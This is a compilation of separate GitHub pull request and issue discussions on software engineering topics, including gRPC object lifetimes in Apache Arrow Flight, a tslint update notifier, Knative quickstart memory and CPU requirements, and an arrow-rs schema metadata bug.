This means that we may expose a Listener* in the API and let the caller handle the lifetime, but the caller will probably find it practical to do the same thing, i.e. somehow destroy resources when Listener::OnFinish is called. And of course a similar situation would occur implicitly with a Future's done callback.
Did you try to report the issue to the gRPC project? This seems like a usability annoyance; also, perhaps we're missing a convenience to avoid the problem?

The overview of the callback-based async API is here, but does not explain the finer usage details: https://github.com/grpc/proposal/blob/master/L67-cpp-callback-api.md
Their own implementation that uses std::function actually takes a completely different code path too, so we can use that to determine 'proper' behavior. Looking at unit tests, they just stack allocate the callbacks, too.

the problem is that dropping resources when the async system tells us the IO is finished is the logical thing to do

I think this still works, you just can't have the gRPC/Flight own the listener. That lines up with gRPC opting to take T* and not shared_ptr<T>. And the apparent join() call in gRPC makes sense there: so long as the destruction happens somewhere else, the join() call will be fine.
That does make it hard to tie to Future, though, since I guess you'd build up a chain of callbacks and the only extant Future instance will be in Flight's hands, which is not what we want.
It's worth noting that actually, gRPC doesn't care about the callbacks here specifically. Instead it cares about that ClientRpc/grpc::ClientContext object, which in normal usage is actually separated from the callbacks, i.e. the usage is actually meant to be
grpc::ClientContext ctx;
stub->experimental_async()->GetFlightInfo(&ctx, ...);
// you are responsible for keeping ctx alive until the callback is finished

This is true of the synchronous API, too. We've just hidden it from the user by allocating it as part of the callback to gRPC. We could split this out somehow and let the user manage it explicitly (inconvenient, though...)

What is the purpose of ClientContext? Do you have to create a new context for each RPC call, or can it be reused?

Also, is it ClientContext that triggers a worker thread? Would that spawn a separate thread for each async call?

It's not clear whether it owns the thread always, I just noticed this:
    frame #3: 0x000000010f6733e4 libgpr.33.0.0.dylib`grpc_core::Crash(std::__1::basic_string_view<char, std::__1::char_traits<char> >, grpc_core::SourceLocation) + 186
    frame #4: 0x000000010f6746e6 libgpr.33.0.0.dylib`grpc_core::(anonymous namespace)::ThreadInternalsPosix::Join() + 138
    frame #5: 0x000000011046299c libgrpc++.1.56.2.dylib`grpc_core::Thread::Join() + 24
    frame #6: 0x0000000110444ee0 libgrpc++.1.56.2.dylib`grpc::CompletionQueue::ReleaseCallbackAlternativeCQ(grpc::CompletionQueue*) + 84
    frame #7: 0x000000011043c746 libgrpc++.1.56.2.dylib`grpc::Channel::~Channel() + 58
    frame #8: 0x000000011043ebc9 libgrpc++.1.56.2.dylib`std::__1::__shared_ptr_pointer<grpc::Channel*, std::__1::shared_ptr<grpc::Channel>::__shared_ptr_default_delete<grpc::Channel, grpc::Channel>, std::__1::allocator<grpc::Channel> >::__on_zero_shared() + 23
    frame #9: 0x000000011043ef21 libgrpc++.1.56.2.dylib`std::__1::shared_ptr<grpc::ChannelCredentials>::~shared_ptr() + 49
    frame #10: 0x0000000111ea89c5 libarrow_flight.1300.0.0.dylib`::~ClientRpc() at grpc_client.cc:69:8

so destructing the ClientContext (at least, I assume it's there - ClientRpc is our wrapper around it) appears to call Join() (but only on macOS?).

It is not supposed to spawn a thread for each call, at least:

the callback API uses a number of library-owned threads to call Next on an async CQ that is owned by the internal implementation. Currently, the thread count is automatically selected by the library with no user input and is set to half the system's core count, but no less than 2 and no more than 16.

https://github.com/grpc/proposal/blob/master/L67-cpp-callback-api.md#implementation

Ah, I see. Apparently the "CallbackAlternativeCQ" is some of refcounted resource, and when the refcount drops to zero it might join a worker thread?

Indeed. That still leaves the question of how best to wrap it, though...

Well, I stand by my previous suggestion :-)

One possibility is to transfer destruction to a dedicated worker thread. Not pretty, but would probably work.

Yeah, that may actually be the simplest way forward, in terms of the user's viewpoint at least.

Ok, updated the TODOs above...

Added a garbage collection thread; I think it'll come at the cost of performance for people spamming lots of tiny RPCs but if someone complains we can see.
The last thing to do is fixing MinGW, unless the problem with MinGW was the self-join. Otherwise I think this is ready.

Hmm, looks like the problem on MinGW was the self-join. So this should be ready now.

hmm, but appveyor is still unhappy, I'm going to have to set up a VM...

It looks like it's possible for the only extant reference to GrpcGarbageBin to be in GrpcGarbageBin itself (through one of the AsyncRpc instances). So originally, I was thinking I wanted to protect against clients being dropped before RPCs finished. It looks like this won't be possible, so I'll rearrange the code to force the background thread to be cleaned up with the client itself.

At least on my Windows VM, the latest change fixes the issue for me.

And it looks like AppVeyor got past the C++ tests, too.

This has been ready for review for about 2 weeks.

It looks like another commit introduced clang-format errors.

Sorry. https://github.com/apache/arrow/pull/37048 fixed the lint error.

@lidavidm Could you update cpp/src/arrow/flight/transport/ucx/ucx_internal.cc as a follow-up task? It still uses internal::TransportStatusCode.

#37099


Make mod-level docs have consistent structure

Ensure the writer/destination is always specified in the mod-level docs for the various strftime functions.
Before

After

I think this is my last doc fixup


add prometheus

Quickly install prometheus, Note: You need a machine environment that can pull images from registry.k8s.io

update helm  prometheus-operator

debug helm prometheus-operator


Add f.Flush() to runtime.ForwardResponseStream

I think Flush is needed on receive JSON streaming.

there is already a f.Flush() before the loop (https://github.com/gengo/grpc-gateway/pull/30/files#diff-c90e18d9d959604ec95823fb307c9f65R31)

lgtm


Use update-notifier to notify of new versions #990

PR checklist

[x] Use update-notifier to notify users of new versions in a non-intrusive way #990
[x] New feature, bugfix, or enhancement
[ ] Includes tests
[ ] Documentation update

What changes did you make?
I've added the functionality of the update-notifier to have it display the update message when there is a new tslint version available.
The functionality is inside a new file called 'updateNotifier.ts', to keep it separate and because I need to require the plugin as well as the package.json. The new function is implemented via the cli.
Is there anything you'd like reviewers to focus on?
Do you think implementing the function call at this level is correct?
My reasons for placing it here is because it then runs every time. The interval for checking a new version is set to three days (default is once a day).
I've tested it by setting the 'updateCheckInterval' to 0 and by lowering the version inside the package.json to '3.15.0', so it would trigger the check.
This triggers the image below:

Thanks for your interest in palantir/tslint, @davieschoots! Before we can accept your pull request, you need to sign our contributor license agreement - just visit https://cla.palantir.com/ and follow the instructions. Once you sign, I'll automatically update this pull request.

Nice. This may not work well with apps that consume tslint via a special formatter. For example, if the JSON formatter was used, the output would become invalid. Can you make the check only occur with prose output format?

Hi @nchen63, sure no problem. I've moved and pushed the change and think this is what you wanted.

it looks like update-notifier asks users to install using -g, but the running tslint may not be a global install

Yes, there is a default option message which we can override. I'm happy to add this if you want. What would be your suggestion as text or do you think it's not desirable just to get rid of the -g?

I'd prefer to point people to the change log since there may be breaking changes that require more than doing an npm install.
Also, I have a concern about whether this will work in Windows since I saw unix type commands in the referenced libraries

also one of the files is missing the license header

Sorry, I'll copy the license header and update the new file.
About the message, we could do something like below;
'There is a new update of tslint, please check our change log before updating'
I don't think it won't work on windows, but will definitely test it to see if it works.
Also I can remove the require for package.json, then use tslint as a fixed name value and get the version from Linter.VERSION instead of using it from the package.

not working in windows is a deal breaker

Yes, it sure is. I'm setting up a test right now :)

Hi @nchen63 , I've did a test on windows 10 on cmd and powershell and it looks good.

Also looks good in Git Bash 👍

Is it possible to detect is it local (from dependencies or devDependencies) or global installation to provide proper update instruction (message option)? Since updating global won't fix outdated version on CI.

I've added all the changes:

removed extra spaces
added license
added the desired text for when an update is available

I'll still want to do some final testing on windows

@nchen63 I tested it on windows in powershell, cmd and git bash.

This is my first PR in a large codebase and I want to thank you for your patience!
@IllusionMH Thanks for testing and the review!

very nice. Thanks for the contribution. Happy to help.


Adding a model and a nullable foreign key in the same change exhibits a few problems

The cannot be partitioned into deployment stages message doesn't display the choices for Please select a fix
Selecting yes crashes
Adding a nullable foreign key should likely not need a post-add field?

The questioner issue should be fixed by #45 and the nullable stage issue has been fixed since 0.0.1a10.


Optimize flattener with various performance improvements

Coverage decreased (-0.9%) to 85.96% when pulling c9fb7ddbd3b93b2e082720e178c8ed4022f5d6b4 on jbaayen:profiling9 into 64541df0b1f10213eb648ebe329ecbe52496ba02 on jgoppert:master.


HOSTEDCP-1023: Add create NodePool for Agent for HCP CLI

What this PR does / why we need it:
Add create NodePool for Agent for HCP CLI
Which issue(s) this PR fixes:
Fixes HOSTEDCP-1023
Checklist

[x] Subject and description added to both, commit and PR.
[x] Relevant issues have been referenced.

Looks good, thanks!  The agent nodepool has one property (a label selector) - should we add it here?

Looks good, thanks! The agent nodepool has one property (a label selector) - should we add it here?

We could. I don't see that in the existing command to add an Agent NodePool though. Does it need added there as well?

/approve


Upgrade request to latest version (Fix security issue)

Security breach is in request dependency qs.
See result of nsp on your package:
Name  Installed  Patched  Vulnerable Dependency
qs      0.6.6     >= 1.x<EMAIL_ADDRESS>><EMAIL_ADDRESS>><EMAIL_ADDRESS>

Since module is not maintained, closing the PR to not have it pop up in my PR list.


ENH: first pass at a path-only handler for tiff

@CJ-Wright Check now

@tacaswell what's the status of this? good to go?

No, don't think it currently works and is not tested.  This was mostly put up as a demo of principle for @CJ-Wright , I will loop back and fix this soonish.

Ok. Thanks for the update. I was just going through old issues and I was unsure of the status of this. No rush.

@CJ-Wright This now works (with tests!)

wee coveralls is broken!

restarting travis to see if that fixes coveralls

Oh, coveralls is going through a major infrastructure upgrade. That is probably why coveralls is showing that it hasn't completed yet
https://twitter.com/CoverallsApp/status/623909260850651136

bump, this should be merged.

@tacaswell Can we at least note in the docstring that this is meant as an alternative to handlers registered to 'AD_TIFF'?

self-merging with @danielballan blessing.


Minimum memory requirements for the example cluster to start

Hi Knative community, thanks for the quickstart plugin. It saves a lot of time setting up the cluster. It would be great to know the amount of memory it will consume beforehand. My laptop is resource limited (8GB, not expandable) and having an IDE, plus the cluster crashed my machine in Linux or sometimes it takes the plugin (kn quickstart kind) up to 20 minutes to start up.
Thank you for all your support!

Related docs issue:  https://github.com/knative/docs/issues/4245

/remove-lifecycle stale

Right now because of the requests configured in the quickstart set of resources plus the tutorial resources, the total CPU request is ~2.3 and memory is ~1.4Gi
The actual utilization of the cluster is way below about ~0.3 CPU and ~1 Gi memory
Here is the output of cluster I created using quickstart
❯ kubectl resource-capacity --sort cpu.request --pods  --util
NODE                    NAMESPACE            POD                                                    CPU REQUESTS   CPU LIMITS     CPU UTIL    MEMORY REQUESTS   MEMORY LIMITS   MEMORY UTIL

knative-control-plane   *                    *                                                      2305m (76%)    4600m (153%)   258m (8%)   1440Mi (72%)      4590Mi (230%)   4Mi (0%)
knative-control-plane   knative-serving      activator-85bd4ddcbb-54kdl                             300m (10%)     1000m (33%)    2m (0%)     60Mi (3%)         600Mi (30%)     16Mi (0%)
knative-control-plane   kube-system          kube-apiserver-knative-control-plane                   250m (8%)      0Mi (0%)       77m (2%)    0Mi (0%)          0Mi (0%)        400Mi (20%)
knative-control-plane   kube-system          kube-controller-manager-knative-control-plane          200m (6%)      0Mi (0%)       23m (0%)    0Mi (0%)          0Mi (0%)        64Mi (3%)
knative-control-plane   knative-eventing     eventing-webhook-5968f79978-fv66l                      100m (3%)      200m (6%)      3m (0%)     50Mi (2%)         200Mi (10%)     23Mi (1%)
knative-control-plane   knative-eventing     mt-broker-ingress-5ddd6f8b5d-drsb8                     100m (3%)      0Mi (0%)       1m (0%)     100Mi (5%)        0Mi (0%)        9Mi (0%)
knative-control-plane   knative-serving      autoscaler-84fcdc5449-g2j2t                            100m (3%)      1000m (33%)    6m (0%)     100Mi (5%)        1000Mi (50%)    24Mi (1%)
knative-control-plane   knative-serving      controller-6fd5bb86df-7cjl5                            100m (3%)      1000m (33%)    4m (0%)     100Mi (5%)        1000Mi (50%)    34Mi (1%)
knative-control-plane   kube-system          coredns-78fcd69978-f5gdg                               100m (3%)      0Mi (0%)       3m (0%)     70Mi (3%)         170Mi (8%)      15Mi (0%)
knative-control-plane   kube-system          etcd-knative-control-plane                             100m (3%)      0Mi (0%)       27m (0%)    100Mi (5%)        0Mi (0%)        62Mi (3%)
knative-control-plane   knative-serving      domainmapping-webhook-8484d5fd8b-tshr8                 100m (3%)      500m (16%)     3m (0%)     100Mi (5%)        500Mi (25%)     16Mi (0%)
knative-control-plane   kube-system          metrics-server-5794ccf74d-cd5qj                        100m (3%)      0Mi (0%)       4m (0%)     200Mi (10%)       0Mi (0%)        20Mi (0%)
knative-control-plane   kube-system          kube-scheduler-knative-control-plane                   100m (3%)      0Mi (0%)       3m (0%)     0Mi (0%)          0Mi (0%)        22Mi (1%)
knative-control-plane   knative-serving      webhook-97c648588-8hgrt                                100m (3%)      500m (16%)     4m (0%)     100Mi (5%)        500Mi (25%)     19Mi (0%)
knative-control-plane   knative-eventing     mt-broker-filter-574dc4457f-r9t4q                      100m (3%)      0Mi (0%)       1m (0%)     100Mi (5%)        0Mi (0%)        11Mi (0%)
knative-control-plane   knative-eventing     mt-broker-controller-8d979648f-g4fxs                   100m (3%)      0Mi (0%)       2m (0%)     100Mi (5%)        0Mi (0%)        17Mi (0%)
knative-control-plane   knative-eventing     eventing-controller-58875c5478-x9zlm                   100m (3%)      0Mi (0%)       6m (0%)     100Mi (5%)        0Mi (0%)        29Mi (1%)
knative-control-plane   kube-system          kindnet-p55bv                                          100m (3%)      100m (3%)      1m (0%)     50Mi (2%)         50Mi (2%)       10Mi (0%)
knative-control-plane   kube-system          coredns-78fcd69978-qk7bg                               100m (3%)      0Mi (0%)       2m (0%)     70Mi (3%)         170Mi (8%)      13Mi (0%)
knative-control-plane   knative-serving      domain-mapping-74d5d688bd-tb475                        30m (1%)       300m (10%)     1m (0%)     40Mi (2%)         400Mi (20%)     13Mi (0%)
knative-control-plane   default              cloudevents-player-00001-deployment-65c477d844-4cbd5   25m (0%)       0Mi (0%)       5m (0%)     0Mi (0%)          0Mi (0%)        21Mi (1%)
knative-control-plane   local-path-storage   local-path-provisioner-85494db59d-gb44d                0Mi (0%)       0Mi (0%)       2m (0%)     0Mi (0%)          0Mi (0%)        8Mi (0%)
knative-control-plane   kube-system          kube-proxy-7qfn9                                       0Mi (0%)       0Mi (0%)       4m (0%)     0Mi (0%)          0Mi (0%)        17Mi (0%)
knative-control-plane   knative-serving      net-kourier-controller-66bc9d6697-wxwxz                0Mi (0%)       0Mi (0%)       8m (0%)     0Mi (0%)          0Mi (0%)        44Mi (2%)
knative-control-plane   knative-eventing     imc-controller-86cd7b7857-whg8v                        0Mi (0%)       0Mi (0%)       5m (0%)     0Mi (0%)          0Mi (0%)        22Mi (1%)
knative-control-plane   knative-eventing     imc-dispatcher-7fcb4b5d8c-z7rzl                        0Mi (0%)       0Mi (0%)       2m (0%)     0Mi (0%)          0Mi (0%)        15Mi (0%)
knative-control-plane   kourier-system       3scale-kourier-gateway-58856c6cc7-spj48                0Mi (0%)       0Mi (0%)       2m (0%)     0Mi (0%)          0Mi (0%)        21Mi (1%)

I was using [colima] as docker desktop today and the default VM uses 2CPU and 2Gi and kn quickstart didn't work because the CPU requests are higher 2.3 and some pods got stuck in pending.
@psschwei I'm thinking that we should delete the resources from all pods, this will remove all requests for CPU and memory and allow knative to run on cluster as small as 1CPU and 1Gi of memory

I'd be a little hesitant to go quite that small, as it might cause problems when people are trying other things on quickstart, especially since we're also pitching quickstart as a local development environment.

For CPU it will consume ~0.3 CPU on idle after they finish the tutorial, they can continue using it for other things they will scale to zero. also we are not setting a limit, they will be the ones setting the limits they want to use by adjusting the VM of docker for kind and and minikube config set

TLDR; removing the requests is orthogonal to their ability to run other things in their local cluster

Another issue I found today is that we create the VM in minikube with a flag of 3 CPU and there is no way to workaround.
Using kn quickstart minikube
😄  [knative] minikube v1.25.1 on Darwin 12.1
✨  Using the docker driver based on user configuration
- Ensure your docker daemon has access to enough CPU/memory resources.
- Docs https://docs.docker.com/docker-for-mac/#resources

⛔  Exiting due to RSRC_INSUFFICIENT_CORES: Requested cpu count 3 is greater than the available cpus of 2

/lifecycle frozen

We've added a page to the docs specifying a minimum of 3 CPUs and 3 GB of RAM for a quickstart cluster.


Base cypress tests for cli

Description
Basic config for testing hardhat/foundry/no_solidity_framework apps of cli.
Gh actions creates all three versions of create-eth apps and checks

"Scaffold-ETH" text on the logo for all versions
Click on faucet and check that balance is 1.0000 Eth for hardhat/foundry

see all three checks below
Additional Information

[x] I have read the contributing docs (if this is your first contribution)
[x] This is not a duplicate of any existing pull request

closing this, moved to create-eth https://github.com/scaffold-eth/create-eth/pull/105


add DTPagerController

DTPagerController
Project URL

https://github.com/tungvoduc/DTPagerController
Description

A fully customizable container view controller to display a set of ViewControllers in a horizontal scroll view. Written in Swift.
Why it should be included to awesome-ios (optional)
Checklist

[x] Only one project/change is in this pull request
[x] Addition in chronological order (bottom of category)
[x] Supports iOS 9 / tvOS 10 or later
[x] Supports Swift 3 or later
[x] Has a commit from less than 2 years ago
[x] Has a clear README in English

          1 Warning

:warning:
Found 3 link issues, a project collaborator will take care of these, thanks :)

Link issues by awesome_bot

Line
Status
Link

175
302
http://lifehacker.com/i-want-to-write-ios-apps-where-do-i-start-1644802175 redirects tohttps://lifehacker.com/i-want-to-write-ios-apps-where-do-i-start-1644802175

1648
301
https://github.com/poolqf/FillableLoaders redirects tohttps://github.com/polqf/FillableLoaders

2638
302
http://lifehacker.com/tag/ios redirects tohttps://lifehacker.com/tag/ios

  Generated by :no_entry_sign: Danger

Hey @tungvoduc, nice lib and thanks for contributing 👍
Please move your lib to the Menu section

@lfarah I did that. Please check again.

Thanks 👍


In https://github.com/apache/arrow-rs/blob/a0148ba4cea1756bd22c534dff14e362cb5ee242/arrow-array/src/record_batch.rs#L357-L362
It creates the new SchemaBuilder exclusively from the fields which calls this From impl
https://github.com/apache/arrow-rs/blob/a0148ba4cea1756bd22c534dff14e362cb5ee242/arrow-schema/src/schema.rs#L125-L132
instead of also taking into account the schema metadata.
To Reproduce
I don't have a full repro example but can create one if needed.

Expected behavior
Schema metadata not to be dropped

Additional context

label_issue.py automatically added labels {'arrow'} from #5328